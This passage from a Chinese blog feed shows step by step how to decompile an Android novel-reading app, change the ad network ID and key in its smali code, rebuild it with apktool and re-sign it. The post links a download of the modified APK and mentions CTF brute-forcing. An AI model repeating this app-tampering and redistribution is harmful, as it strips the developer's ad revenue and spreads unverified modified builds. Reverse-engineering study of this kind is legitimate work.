<div id="crayon-5d1f209356112816545071-14" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-r">this</span><span class="crayon-sy">.</span><span class="crayon-v">c</span> <span class="crayon-o">=</span> <span class="crayon-sy">(</span><span class="crayon-sy">(</span><span class="crayon-v">TextView</span><span class="crayon-sy">)</span><span class="crayon-e">findViewById</span><span class="crayon-sy">(</span><span class="crayon-cn">2131297117</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-15" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-e">a</span><span class="crayon-sy">(</span><span class="crayon-cn">0</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-16" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-e">c</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-17" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-r">this</span><span class="crayon-sy">.</span><span class="crayon-v">g</span> <span class="crayon-o">=</span> <span class="crayon-v">System</span><span class="crayon-sy">.</span><span class="crayon-e">currentTimeMillis</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-18" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">if</span> <span class="crayon-sy">(</span><span class="crayon-e">getIntent</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">.</span><span class="crayon-e">getBooleanExtra</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;showBookCover&#8221;</span><span class="crayon-sy">,</span> <span class="crayon-t">false</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d1f209356112816545071-19" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1f209356112816545071-20" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span>省略<span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f209356112816545071-21" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1f209356112816545071-22" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-r">this</span><span class="crayon-sy">.</span><span class="crayon-v">h</span> <span class="crayon-o">=</span> <span class="crayon-e">getIntent</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">.</span><span class="crayon-e">getBooleanExtra</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;directShow&#8221;</span><span class="crayon-sy">,</span> <span class="crayon-t">false</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-23" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-v">ActivityMain</span><span class="crayon-sy">.</span><span class="crayon-v">h</span> <span class="crayon-o">=</span> <span class="crayon-e">d</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-24" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">if</span> <span class="crayon-sy">(</span><span class="crayon-sy">(</span><span class="crayon-o">!</span><span class="crayon-r">this</span><span class="crayon-sy">.</span><span class="crayon-v">h</span><span class="crayon-sy">)</span> <span class="crayon-o">&amp;&amp;</span> <span class="crayon-sy">(</span><span class="crayon-sy">(</span><span class="crayon-v">e</span><span class="crayon-sy">.</span><span class="crayon-v">va</span><span class="crayon-sy">)</span> <span class="crayon-o">||</span> <span class="crayon-sy">(</span><span class="crayon-o">!</span><span class="crayon-v">ActivityMain</span><span class="crayon-sy">.</span><span class="crayon-e">a</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d1f209356112816545071-25" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-sy">{</span></div>
<div id="crayon-5d1f209356112816545071-26" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-e">a</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-27" class="crayon-line"><span class="crayon-h">        </span><span class="crayon-st">return</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-28" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d1f209356112816545071-29" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-e">a</span><span class="crayon-sy">(</span><span class="crayon-r">this</span><span class="crayon-sy">,</span> <span class="crayon-r">this</span><span class="crayon-sy">.</span><span class="crayon-v">b</span><span class="crayon-sy">,</span> <span class="crayon-r">this</span><span class="crayon-sy">.</span><span class="crayon-v">c</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8220;1106419620&#8221;</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8220;8090057339034822&#8221;</span><span class="crayon-sy">,</span> <span class="crayon-r">this</span><span class="crayon-sy">,</span> <span class="crayon-cn">0</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356112816545071-30" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>可以发现多次调用<code>a()</code>方法，而<code>a</code>又有好几种重载。</p>
<p>我在这直接说下我的几种方法</p>
<h2 id="finish"><i class="iconfont icon-link"></i>finish()</h2>
<p>让广告的Activity直接退出，但是这样有bug，会导致启动的时候需要点两次才能正常启动。</p>
<h2 id="替换他的广告id"><i class="iconfont icon-link"></i>替换他的广告id</h2>
<p>经过我多次编译测试</p>
<div class="highlight">
<div class="chroma language-java">
<div id="crayon-5d1f20935611d589294484" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1f20935611d589294484-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1f20935611d589294484-1" class="crayon-line"><span class="crayon-e">a</span><span class="crayon-sy">(</span><span class="crayon-r">this</span><span class="crayon-sy">,</span> <span class="crayon-r">this</span><span class="crayon-sy">.</span><span class="crayon-v">b</span><span class="crayon-sy">,</span> <span class="crayon-r">this</span><span class="crayon-sy">.</span><span class="crayon-v">c</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8220;1106419620&#8221;</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8220;8090057339034822&#8221;</span><span class="crayon-sy">,</span> <span class="crayon-r">this</span><span class="crayon-sy">,</span> <span class="crayon-cn">0</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>里面的两个string参数应该是传的广告联盟的id和key，那么我们把他改成错误的就拉不出来广告了。</p>
<p>这种方法没有bug，完美。</p>
<h2 id="更改广告的加载时间"><i class="iconfont icon-link"></i>更改广告的加载时间</h2>
<p>在<code>onADTick()</code>方法中，广告时间是由下面的代码控制的，稍加修改就行了。</p>
<div class="highlight">
<div class="chroma language-java">
<div id="crayon-5d1f209356121541171771" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1f209356121541171771-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356121541171771-2">2</div>
<div class="crayon-num" data-line="crayon-5d1f209356121541171771-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356121541171771-4">4</div>
<div class="crayon-num" data-line="crayon-5d1f209356121541171771-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356121541171771-6">6</div>
<div class="crayon-num" data-line="crayon-5d1f209356121541171771-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356121541171771-8">8</div>
<div class="crayon-num" data-line="crayon-5d1f209356121541171771-9">9</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1f209356121541171771-1" class="crayon-line"><span class="crayon-m">public</span> <span class="crayon-t">void</span> <span class="crayon-e">onADTick</span><span class="crayon-sy">(</span><span class="crayon-t">long</span> <span class="crayon-v">paramLong</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d1f209356121541171771-2" class="crayon-line crayon-striped-line"><span class="crayon-sy">{</span></div>
<div id="crayon-5d1f209356121541171771-3" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-e">StringBuilder </span><span class="crayon-v">localStringBuilder</span> <span class="crayon-o">=</span> <span class="crayon-r">new</span> <span class="crayon-e">StringBuilder</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356121541171771-4" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-v">localStringBuilder</span><span class="crayon-sy">.</span><span class="crayon-e"><span class="wpcom_tag_link"><a href="/tags/app" title="app" target="_blank">app</a></span>end</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;SplashADTick &#8220;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356121541171771-5" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-v">localStringBuilder</span><span class="crayon-sy">.</span><span class="crayon-e">append</span><span class="crayon-sy">(</span><span class="crayon-v">paramLong</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356121541171771-6" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-v">localStringBuilder</span><span class="crayon-sy">.</span><span class="crayon-e">append</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;ms&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356121541171771-7" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-v">Log</span><span class="crayon-sy">.</span><span class="crayon-e">i</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;MR2&#8221;</span><span class="crayon-sy">,</span> <span class="crayon-v">localStringBuilder</span><span class="crayon-sy">.</span><span class="crayon-e">toString</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356121541171771-8" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-e">a</span><span class="crayon-sy">(</span><span class="crayon-v">Math</span><span class="crayon-sy">.</span><span class="crayon-e">round</span><span class="crayon-sy">(</span><span class="crayon-sy">(</span><span class="crayon-t">float</span><span class="crayon-sy">)</span><span class="crayon-v">paramLong</span> <span class="crayon-o">/</span> <span class="crayon-cn">1000.0F</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d1f209356121541171771-9" class="crayon-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p><code>paramLong</code>是取得<code>System.currentTimeMillis()</code>是5</p>
<p>那么我们可以将被除数1000.0F改大一点，让他<code>Math.round()</code>之后为0就可以了。</p>
<h1 id="更改smali"><i class="iconfont icon-link"></i>更改smali</h1>
<p>我用的是第二种方法，更改掉他的广告id和key</p>
<p><code>SplashActivity.smali</code>1060行</p>
<div class="highlight">
<div class="chroma language-c">
<div id="crayon-5d1f209356124052191676" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1f209356124052191676-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356124052191676-2">2</div>
<div class="crayon-num" data-line="crayon-5d1f209356124052191676-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1f209356124052191676-1" class="crayon-line"><span class="crayon-m">const</span><span class="crayon-o">&#8211;</span><span class="crayon-t">string</span> <span class="crayon-v">v4</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8220;1106419620&#8221;</span></div>
<div id="crayon-5d1f209356124052191676-2" class="crayon-line crayon-striped-line"></div>
<div id="crayon-5d1f209356124052191676-3" class="crayon-line"><span class="crayon-m">const</span><span class="crayon-o">&#8211;</span><span class="crayon-t">string</span> <span class="crayon-v">v5</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8220;8090057339034822&#8221;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>改为</p>
<div class="highlight">
<div class="chroma language-c">
<div id="crayon-5d1f209356127640250628" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1f209356127640250628-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f209356127640250628-2">2</div>
<div class="crayon-num" data-line="crayon-5d1f209356127640250628-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1f209356127640250628-1" class="crayon-line"><span class="crayon-m">const</span><span class="crayon-o">&#8211;</span><span class="crayon-t">string</span> <span class="crayon-v">v4</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8220;0&#8221;</span></div>
<div id="crayon-5d1f209356127640250628-2" class="crayon-line crayon-striped-line"></div>
<div id="crayon-5d1f209356127640250628-3" class="crayon-line"><span class="crayon-m">const</span><span class="crayon-o">&#8211;</span><span class="crayon-t">string</span> <span class="crayon-v">v5</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8220;0&#8221;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>保存</p>
<h1 id="重新编译"><i class="iconfont icon-link"></i>重新编译</h1>
<p>之前用AndroidKiller反编译之后重新编译为apk是一直报错</p>
<div class="highlight">
<div class="chroma ">
<div id="crayon-5d1f20935612a202699894" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1f20935612a202699894-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f20935612a202699894-2">2</div>
<div class="crayon-num" data-line="crayon-5d1f20935612a202699894-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1f20935612a202699894-1" class="crayon-line"><span class="crayon-o">&gt;</span><span class="crayon-v">brut</span><span class="crayon-sy">.</span><span class="crayon-v">androlib</span><span class="crayon-sy">.</span><span class="crayon-v">AndrolibException</span><span class="crayon-o">:</span> <span class="crayon-v">brut</span><span class="crayon-sy">.</span><span class="crayon-v">androlib</span><span class="crayon-sy">.</span><span class="crayon-v">AndrolibException</span><span class="crayon-o">:</span> <span class="crayon-v">brut</span><span class="crayon-sy">.</span><span class="crayon-v">common</span><span class="crayon-sy">.</span><span class="crayon-v">BrutException</span><span class="crayon-o">:</span> <span class="crayon-e">could </span><span class="crayon-st">not</span> <span class="crayon-e">exec</span> <span class="crayon-sy">(</span><span class="crayon-e">exit </span><span class="crayon-v">code</span> <span class="crayon-o">=</span> <span class="crayon-cn">1</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d1f20935612a202699894-2" class="crayon-line crayon-striped-line"><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f20935612a202699894-3" class="crayon-line"><span class="crayon-i">APK</span> 编译失败，无法继续下一步签名<span class="crayon-o">!</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>然后我就用apktool重新来了一遍</p>
<div class="highlight">
<div class="chroma language-bash">
<div id="crayon-5d1f20935612d623957454" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1f20935612d623957454-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f20935612d623957454-2">2</div>
<div class="crayon-num" data-line="crayon-5d1f20935612d623957454-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f20935612d623957454-4">4</div>
<div class="crayon-num" data-line="crayon-5d1f20935612d623957454-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f20935612d623957454-6">6</div>
<div class="crayon-num" data-line="crayon-5d1f20935612d623957454-7">7</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1f20935612d623957454-1" class="crayon-line"><span class="crayon-v">C</span><span class="crayon-o">:</span><span class="crayon-sy">\</span><span class="crayon-v">Users</span><span class="crayon-sy">\</span><span class="crayon-v">Y4er</span><span class="crayon-sy">\</span><span class="crayon-v">Downloads</span><span class="crayon-o">&gt;</span><span class="crayon-v">java</span> <span class="crayon-o">&#8211;</span><span class="crayon-e">jar </span><span class="crayon-v">apktool</span><span class="crayon-sy">.</span><span class="crayon-v">jar</span> <span class="crayon-o">&#8211;</span><span class="crayon-i">r</span> <span class="crayon-i">d</span> <span class="crayon-v">com</span><span class="crayon-sy">.</span><span class="crayon-v">flyersoft</span><span class="crayon-sy">.</span><span class="crayon-v">seekbooks</span><span class="crayon-sy">.</span><span class="crayon-i">apk</span></div>
<div id="crayon-5d1f20935612d623957454-2" class="crayon-line crayon-striped-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Using </span><span class="crayon-i">Apktool</span> <span class="crayon-cn">2.4.0</span> <span class="crayon-e">on </span><span class="crayon-v">com</span><span class="crayon-sy">.</span><span class="crayon-v">flyersoft</span><span class="crayon-sy">.</span><span class="crayon-v">seekbooks</span><span class="crayon-sy">.</span><span class="crayon-i">apk</span></div>
<div id="crayon-5d1f20935612d623957454-3" class="crayon-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Copying </span><span class="crayon-e">raw </span><span class="crayon-v">resources</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f20935612d623957454-4" class="crayon-line crayon-striped-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Baksmaling </span><span class="crayon-v">classes</span><span class="crayon-sy">.</span><span class="crayon-v">dex</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f20935612d623957454-5" class="crayon-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Copying </span><span class="crayon-e">assets </span><span class="crayon-st">and</span> <span class="crayon-v">libs</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f20935612d623957454-6" class="crayon-line crayon-striped-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Copying </span><span class="crayon-e">unknown </span><span class="crayon-v">files</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f20935612d623957454-7" class="crayon-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Copying </span><span class="crayon-e">original </span><span class="crayon-v">files</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>注意<strong>-r</strong>参数，已经确认是<strong>-r</strong>参数导致的</p>
<p>修改smali代码之后保存</p>
<div class="highlight">
<div class="chroma language-bash">
<div id="crayon-5d1f20935612f205588248" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1f20935612f205588248-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f20935612f205588248-2">2</div>
<div class="crayon-num" data-line="crayon-5d1f20935612f205588248-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f20935612f205588248-4">4</div>
<div class="crayon-num" data-line="crayon-5d1f20935612f205588248-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f20935612f205588248-6">6</div>
<div class="crayon-num" data-line="crayon-5d1f20935612f205588248-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1f20935612f205588248-8">8</div>
<div class="crayon-num" data-line="crayon-5d1f20935612f205588248-9">9</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1f20935612f205588248-1" class="crayon-line"><span class="crayon-v">C</span><span class="crayon-o">:</span><span class="crayon-sy">\</span><span class="crayon-v">Users</span><span class="crayon-sy">\</span><span class="crayon-v">Y4er</span><span class="crayon-sy">\</span><span class="crayon-v">Downloads</span><span class="crayon-o">&gt;</span><span class="crayon-v">java</span> <span class="crayon-o">&#8211;</span><span class="crayon-e">jar </span><span class="crayon-v">apktool</span><span class="crayon-sy">.</span><span class="crayon-i">jar</span> <span class="crayon-i">b</span> <span class="crayon-v">com</span><span class="crayon-sy">.</span><span class="crayon-v">flyersoft</span><span class="crayon-sy">.</span><span class="crayon-i">seekbooks</span></div>
<div id="crayon-5d1f20935612f205588248-2" class="crayon-line crayon-striped-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Using </span><span class="crayon-i">Apktool</span> <span class="crayon-cn">2.4.0</span></div>
<div id="crayon-5d1f20935612f205588248-3" class="crayon-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Checking </span><span class="crayon-e">whether </span><span class="crayon-e">sources </span><span class="crayon-e">has </span><span class="crayon-v">changed</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f20935612f205588248-4" class="crayon-line crayon-striped-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Checking </span><span class="crayon-e">whether </span><span class="crayon-e">resources </span><span class="crayon-e">has </span><span class="crayon-v">changed</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f20935612f205588248-5" class="crayon-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Building </span><span class="crayon-e">apk </span><span class="crayon-v">file</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f20935612f205588248-6" class="crayon-line crayon-striped-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Copying </span><span class="crayon-e">unknown </span><span class="crayon-v">files</span><span class="crayon-o">/</span><span class="crayon-v">dir</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f20935612f205588248-7" class="crayon-line"><span class="crayon-v">I</span><span class="crayon-o">:</span> <span class="crayon-e">Built </span><span class="crayon-v">apk</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div>
<div id="crayon-5d1f20935612f205588248-8" class="crayon-line crayon-striped-line"></div>
<div id="crayon-5d1f20935612f205588248-9" class="crayon-line"><span class="crayon-v">C</span><span class="crayon-o">:</span><span class="crayon-sy">\</span><span class="crayon-v">Users</span><span class="crayon-sy">\</span><span class="crayon-v">Y4er</span><span class="crayon-sy">\</span><span class="crayon-v">Downloads</span><span class="crayon-o">&gt;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>然后你会在<code>com.flyersoft.seekbooks\dist</code>目录下找到你编译好的apk</p>
<h1 id="签名"><i class="iconfont icon-link"></i>签名</h1>
<p>生成签名</p>
<div class="highlight">
<div class="chroma language-bash">
<div id="crayon-5d1f209356132980250280" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1f209356132980250280-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1f209356132980250280-1" class="crayon-line"><span class="crayon-v">keytool</span> <span class="crayon-o">&#8211;</span><span class="crayon-v">genkey</span> <span class="crayon-o">&#8211;</span><span class="crayon-e">keystore </span><span class="crayon-v">bookapk</span><span class="crayon-sy">.</span><span class="crayon-v">keystore</span> <span class="crayon-o">&#8211;</span><span class="crayon-e">keyalg </span><span class="crayon-v">RSA</span> <span class="crayon-o">&#8211;</span><span class="crayon-i">validity</span> <span class="crayon-cn">10000</span> <span class="crayon-o">&#8211;</span><span class="crayon-e">alias </span><span class="crayon-v">book</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>给apk签名</p>
<div class="highlight">
<div class="chroma ">
<div id="crayon-5d1f209356134466150907" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1f209356134466150907-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1f209356134466150907-1" class="crayon-line"><span class="crayon-v">jarsigner</span> <span class="crayon-o">&#8211;</span><span class="crayon-v">verbose</span> <span class="crayon-o">&#8211;</span><span class="crayon-e">keystore </span><span class="crayon-v">bookapk</span><span class="crayon-sy">.</span><span class="crayon-v">keystore</span> <span class="crayon-o">&#8211;</span><span class="crayon-e">signedjar </span><span class="crayon-v">book1</span><span class="crayon-sy">.</span><span class="crayon-e">apk </span><span class="crayon-v">book</span><span class="crayon-sy">.</span><span class="crayon-e">apk </span><span class="crayon-v">book</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>最后的<code>book</code>就是<code>-alias</code>后面带的，必须保持一致</p>
<p>然后就能给手机装上你的<code>book1.apk</code>来尽情看<a class="tag_link" title="浏览关于“小说”的文章" href="/tags/%e5%b0%8f%e8%af%b4" target="_blank" rel="noopener noreferrer">小说</a>了</p>
<p>链接: <a href="https://pan.baidu.com/s/1_j1WNl0nglJ2uY9LU833BA" target="_blank" rel="nofollow noopener noreferrer">https://pan.baidu.com/s/1_j1WNl0nglJ2uY9LU833BA</a> 提取码: 6dvi</p>
<h1 id="写在文后"><i class="iconfont icon-link"></i>写在文后</h1>
<p>这篇文章也算是自己对安卓<a class="tag_link" title="浏览关于“逆向”的文章" href="/tags/%e9%80%86%e5%90%91" target="_blank" rel="noopener noreferrer">逆向</a>的一篇水文把，主要还是记录一下命令和思路。不过顺手挖了一个短信轰炸，一百多条短信给我炸的懵逼…</p>
<p>顺便记下我谷歌的一些资料。</p>
<p><a href="https://www.52pojie.cn/thread-742703-1-1.html" target="_blank" rel="nofollow noopener noreferrer">吾爱破解-教我兄弟学Android逆向系列课程+附件导航帖</a></p>
<p><a href="https://ibotpeaches.github.io/Apktool/documentation/" target="_blank" rel="nofollow noopener noreferrer">apktool参数文档</a></p>
<p><a href="https://blog.csdn.net/android_tutor/article/details/5772285" target="_blank" rel="nofollow noopener noreferrer">详解Android中Activity的生命周期</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ISCC 2019部分writeup</title>
		<link>/ctf/656.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:23:37 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[iscc]]></category>
		<category><![CDATA[iscc2018]]></category>
		<guid isPermaLink="false">/?p=656</guid>

					<description><![CDATA[web1 题目地址：http://39.100.83.188:8002/ 删掉cookie和code字段提示密码错误 burp爆破3位数字 web2 题目地址: http://39....]]>/</description>
